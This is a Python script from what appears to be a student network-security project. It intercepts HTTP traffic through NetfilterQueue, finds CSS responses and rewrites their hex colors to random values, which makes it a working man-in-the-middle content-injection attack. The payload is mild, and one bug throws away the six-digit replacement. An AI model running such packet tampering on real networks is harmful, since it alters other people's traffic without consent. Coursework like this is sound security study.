This repository has been archived on 2025-04-28. You can view files and clone it, but cannot push or open issues or pull requests.
netsec-djw2/final/scripts/css.py
David Westgate 987ef1d741 small tweaks
2024-06-15 00:20:08 -07:00

112 lines
4.0 KiB
Python

import os
from netfilterqueue import NetfilterQueue, Packet as NFQPacket
from scapy.all import IP, TCP, Raw, Packet as SPacket, send, base64_bytes, hex_bytes, bytes_hex, hexstr, hexdump, bytes_base64, PacketList
from scapy.layers.http import HTTPResponse, HTTP
from scapy.utils import wrpcap, rdpcap, PcapWriter
import random
import re
#packets we want to save for submission
# scapy_packets: PacketList = PacketList()
count = 0
pktdump = PcapWriter("../captures/final_3.pcap", append=True, sync=True)
def generate_random_color_6():
return "#{:06x}".format(random.randint(0, 0xFFFFFF))
def generate_random_color_3():
return "#{:03x}".format(random.randint(0, 0xFFF))
def replace_colors_with_random_6(input_string):
# Regular expression to find hex color codes
hex_color_pattern = re.compile(r'#([A-Fa-f0-9]{6})')
def replace_match(match):
return generate_random_color_6()
# Replace all hex color codes with random colors
output_string = hex_color_pattern.sub(replace_match, input_string)
return output_string
def replace_colors_with_random_3(input_string):
# Regular expression to find hex color codes
hex_color_pattern = re.compile(r'#([A-Fa-f0-9]{3})')
def replace_match(match):
return generate_random_color_3()
# Replace all hex color codes with random colors
output_string = hex_color_pattern.sub(replace_match, input_string)
return output_string
def save_packets(packets: PacketList, filename: str):
wrpcap(filename, packets)
print(f"Saved {len(packets)} packets to {filename}")
# Dictionary to store partial packets indexed by source/destination ports and IPs
tcp_streams: set = set()
def process_packet(nfqpacket: NFQPacket):
global tcp_streams
global count
scapy_packet: SPacket = IP(nfqpacket.get_payload())
if scapy_packet.haslayer(IP) and scapy_packet.haslayer(TCP):
ip_layer = scapy_packet[IP]
tcp_layer = scapy_packet[TCP]
stream_key = (ip_layer.src, ip_layer.dst, tcp_layer.sport, tcp_layer.dport)
if scapy_packet.haslayer(HTTP) and scapy_packet.haslayer(HTTPResponse):
http_response_layer: SPacket = scapy_packet[IP][TCP][HTTP][HTTPResponse]
if http_response_layer.fields.get('Content_Type') == b"text/css":
tcp_streams.add(stream_key)
#stop here, there will not be raw data in these
else:
if stream_key in tcp_streams :
tcp_streams.remove(stream_key)
#the stream might have moved onto something else like json, remove the key now
else:
pass
elif stream_key in tcp_streams and scapy_packet.haslayer(Raw):
# At this point we are likely dealing with CSS data - so attack
all_content: bytes = scapy_packet[Raw].load
css_content = all_content.decode('utf-8', errors='ignore') # Decode bytes to string
new_css_content: str = replace_colors_with_random_6(css_content)
new_css_content = replace_colors_with_random_3(css_content)
new_encoded_content: bytes = bytes(new_css_content, 'utf-8')
new_load = new_encoded_content
scapy_packet[Raw].load = new_load
del scapy_packet[IP].chksum
del scapy_packet[TCP].chksum
print('Modified colors')
count += 1
nfqpacket.set_payload(scapy_packet.build())
pktdump.write(scapy_packet)
else:
pass# Uninteresting packet, or it's too early and we have not seen the http response + conent type so ignore anyway
else:
pass #all packets are tcp so we don't expect this case
nfqpacket.accept()
def main():
global count
nfqueue = NetfilterQueue()
nfqueue.bind(0, process_packet)
try:
print("Binding to NFQUEUE 0...")
nfqueue.run()
except KeyboardInterrupt:
print(f"Stopping... Modified {count} packets")
finally:
nfqueue.unbind()
if __name__ == "__main__":
main()